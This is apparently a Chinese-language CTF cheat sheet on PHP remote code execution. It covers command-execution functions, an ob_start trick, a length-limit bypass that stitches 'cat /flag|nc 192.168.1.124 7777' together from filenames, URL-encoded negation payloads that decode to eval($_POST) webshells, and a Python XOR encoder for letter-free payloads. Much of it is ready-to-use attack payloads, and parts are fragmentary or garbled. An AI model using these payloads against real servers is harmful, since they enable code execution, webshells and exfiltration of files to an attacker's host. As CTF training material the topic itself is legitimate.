rce

First Post:

Last Update:

rce

一些命令

常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()

无参数函数print_r()scandir()highlight_file(‘);

1
cat tac more less tail uniq od nl grep sort xxd strings

xxd:读取二进制文件 od:以二进制读取

1
grep (查找字段,flag) /flag

ob_start函数会接收我们往流里输入的参数

1
2
3
4
5
6
<?php
$cmd = 'system';
ob_start($cmd);
echo "whoami";
ob_end_flush();
?>

执行system(‘whoami’)

长度限制

前置知识:

和>>:

b 类似于touch b,即直接创建文件b,通过>来将命令执行结果写入文件会覆盖掉文件原本的内容

echo kuai > a #创建文件a,并把字符串’kuai’写入到文件a里

用来追加内容

kuai >>a #在文件a末尾追加字符串’kuai’

ls -t命令:按时间顺序,由近及远排序(后创建的排在前面,只能精确到秒)

组合运用示例:
#>ag

#>fl
#>”t”
#>ca
#ls -t
ca ‘t ‘ fl ag

按时间顺序反向依次创建文件,”ca” “‘t “ “fl” “ag”
再通过ls -t > x,创建文件x,并把’Is -t执行结果写入文件x里 。

实际上在创建文件时,加入”",把命令”ca””t””f””ag”连接起来

#>ag
#fl\
#>”t\“
#>ca\
#ls -t > a

前面的‘\’把后面的‘\’实体化变成字符 ,把一段已经拼接好的文件名输出到输出到一个文件a里,然后把这个文件a当成一个脚本去执行

sh:sh命令是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取

dir及*:
*:相当于$(dir *)

#dir *
echo ffff
#$(dir )
ffff //执行echo命令输出ffff
#

ffff //执行echo命令输出ffff

如果第一个文件名是命令的话就会执行命令,返回执行的结果,之后的文件名作为参数传入

rev:翻转文件每一行内容

长度限制为7绕过方法:
期望执行的命令:

cat /flag|nc 192.168.1.124 7777

cat /flag展示内容,再通过nc反弹提交到192.168.1.124:7777,kali的IP地址192.168.1.124监听端口7777

去kali把监听打开 :

nc -lvp 7777

利用逻辑:

创建短的文件名
Is -t 按时间顺序列出文件名,按行储存
\连接换行命令
sh从文件中读取命令

?cmd=>7777

?cmd=>\ \

?cmd=>>124\

?cmd=>1.\

?cmd=>168.\

?cmd=>192.\

?cmd=>c\ \

?cmd=>|n\

?cmd=>flag\

?cmd=>t\ \

?cmd=>ca\ #从近往远的文件名能构成命令cat /flag|nc 192.168.1.124 7777
?cmd=ls -t>a #将文件名按从近往远的顺序写入到文件a

无数字字母

自增

(%9E%8C%8C%9A%8D%8B)(%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
assert(eval($_POST[1]);)
(~%8F%97%8F%96%91%99%90)();

phpinfo()

(%9E%8C%8C%9A%8D%8B)(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6);

(eval($_POST[love]))

(%9E%8C%8C%9A%8D%8B)(%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6);

eval($_POST[cmd])

(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%D0%99%93%9E%98);

异或

py3脚本

def encode(command):
code = “~`!@#$%&*()-=+_[]{};:<>,.?/|”
result_1 = “”
result_2 = “”

for x in command:
if not command.isalpha():
result_1 += x
result_2 += x
for y in code:
if chr(ord(x) ^ ord(y)) in code:
result_1 += y
result_2 += chr(ord(x) ^ ord(y))
break
return f’(“{result_1}” ^ “{result_2}”)’

a=encode(‘ls’)
print(a)

临时文件

全角绕过

abcdefhijklmnopqrstuvwxyz

ABCDEFGHIJKLMNOPQRSTUVWXYZ

`~!@#$%^&*()_+=-{}[]:";'\|<>?,./,。

1234567890

popen和执行的命令不得使用全角英文